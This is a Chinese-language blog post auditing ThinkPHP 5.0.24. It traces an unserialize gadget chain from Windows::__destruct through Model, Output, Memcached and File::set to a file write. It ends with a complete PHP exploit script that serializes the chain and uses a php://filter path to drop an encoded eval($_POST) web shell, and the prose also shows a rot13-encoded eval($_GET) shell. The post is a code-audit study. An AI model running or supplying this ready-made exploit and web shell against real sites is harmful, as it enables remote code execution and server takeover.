Thinkphp-vuln5.0.24 unserialize

·
PHP代码审计 no tag February 26, 2021

thinkphp可谓代码审计的传世经典。。今天来跟一下thinkphp的代码审计,希望对代码审计的功力有所提升

环境Apache+php7+windows+Thinkphp5.0.24

thinkphp5.0.24反序列化

先列一下php的魔术方法

d

先自己写一个反序列化点

image.png

先看thinkphp/library/think/process/pipes/Windows.php

发现存在__destruct()魔术方法。

image.png

跟进removeFile()函数。

image.png

这里存在file_exists()函数,其中这里的$this->files是可控的。且file_exists()可以调用一些类的__toString方法。

之后再看抽象类Model(thinkphp/library/think/Model.php)

抽象类不能直接调用,因此需要找到他的子类。

我们可以找到Pivot(thinkphp/library/think/model/Pivot.php)进行调用。

现在Model可以调用了,我们来看看里面的__toString()方法。

image.png

这里可以看到$item[$key] = $value ? $value->getAttr($attr) : null

这里有$value->getAttr可以利用__call魔术方法。

那我们看看如何才能调用__call方法。

这里$this->append可以控制,控制$name为getError。让relation变为Model类的getError方法,然后跟进函getError方法,因此可以控制$this->$relation()

image.png

控制了$this->$relation()也就相当于控制$modelRelation

参数$modelRelation其实就是Model类的getError()返回的结果。

然后看getRelationData()函数

image.png

首先要满足$this->parent && !$modelRelation->isSelfRelation() && get_cl才能给$value赋值。

因为$this->parent要给$value赋值,因此一定是think\console\Output类对象

那么怎么满足if语句呢?

image.png

这里isSelfRelation和getModel都可控,所以我们找Relation的子类套一下即可。

image.png

同时,还要满足image.png

也就是这个类中必须含有getBindAttr方法。于是Relation的子类OneToOne是比较合适的选择。image.png

现在我们可以进入到think\console\Output的__call()方法中了。

image.png

发现$this->styles我们可以控制,那么我们就可以执行block方法。block调用writeln方法,然后调用write方法。这时候里面的$this->handle可以控制。

所以思路就是找一个类的write方法可以实现写文件。

这里我们找到了Memcached类(thinkphp/library/think/session/driver/Mencached.php),然后进到了Memcached->write方法中看到Memcached也存在一个$this->handle,我们将其设置为File类(thinkphp/library/think/cache/driver/File.php)从而进入到File->set方法我们可以看到file_put_contents($filename, $data)其中的两个参数我们都可以控制

image.png

现在来看如何利用file_put_contents。首先传入的三个参数已经确定。且$name和$exprie是我们可控的。

但是写入的数据就是我们无法控制的$value。继续往下看。

image.png

发现下面有一个setTagItem方法,且返回了可控的两个参数。再一次进入了set方法。

那么我们就可以利用php伪协议写shell。我们将部分可控的 $this->options['path']** 设置成 **php://filter/write=string.rot13/resource=\<?cuc @riny($_TRG[_]);?>

image.png

然后就可以用php伪协议来写shell了。

image.png

image.png

EXP如下

<?php
namespace think\process\pipes{
    class Windows
    {
        private $files = [];

        public function __construct($files)
        {
            $this->files = [$files];//$file => /think/Model的子类new Pivot(); Model是抽象类
        }
    }
}

namespace think{
    abstract class Model
    {
        protected $append = [];
        protected $error;
        protected $parent;

        public function __construct($output, $modelRelation)
        {
            $this->append=array('xxxxx'=>'getError');
            $this->parent=$output;//$this->model=> think\console\Output;
            $this->error=$modelRelation;
        }
    }
}

namespace think\model{
    use think\Model;

    class Pivot extends Model
    {
    }
}

namespace think\model\relation{
    abstract class OneToOne
    {
        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        public function __construct($query)
        {
            $this->selfRelation=0;
            $this->query=$query;//引入Query类
            $this->bindAttr=['xxx'];//这个值作为__call函数的变量
        }
    }
}
namespace think\model\relation{
    
    class HasOne extends OneToOne
    {
    }
}
namespace think\db{
    class Query
    {
        protected $model;
        public function __construct($model)
        {
            $this->model=$model;//$this->model=> think\console\Output;
        }
    }
}
namespace think\console{
    class Output
    {
        protected $styles = [];
        private $handle = null;
        public function __construct($handle)
        {
            $this->styles=['getAttr'];
            $this->handle=$handle;//$handle->think\session\driver\Memcached
        }
    }
}
namespace think\session\driver{
    class Memcached
    {
        protected $handler;
        public function __construct($file)
        {
            $this->handler=$file;//$handle->think\cache\driver\File
        }
    }
}
namespace think\cache\driver{
    class File
    {
        protected $options = [];
        protected $tag;
        public function __construct()
        {
            $this->options=[
                'expire' => 3600,
                'cache_subdir' => false,
                'prefix' => '',
                'path'  => 'php://filter/write=convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaPD9waHAgQGV2YWwoJF9QT1NUW3lhbmddKT8+.php',
                'data_compress' => false,
            ];
            $this->tag='1';
        }
    }
}
namespace {

    $File=new think\cache\driver\File();
    $Memcached=new think\session\driver\Memcached($File);
    $Output=new think\console\Output($Memcached);
    $Query=new think\db\Query($Output);
    $HasOne=new think\model\relation\HasOne($Query);
    $Pivot=new think\model\Pivot($Output, $HasOne);
    $window=new think\process\pipes\Windows($Pivot);
    echo base64_encode(serialize($window));
}

参考:https://xz.aliyun.com/t/8143

  • Cloud_Yang自制云盘
  • Thinkphp-vuln RCE
取消回复

说点什么?

© 2023 Yang_99的小窝. Using Typecho & Moricolor.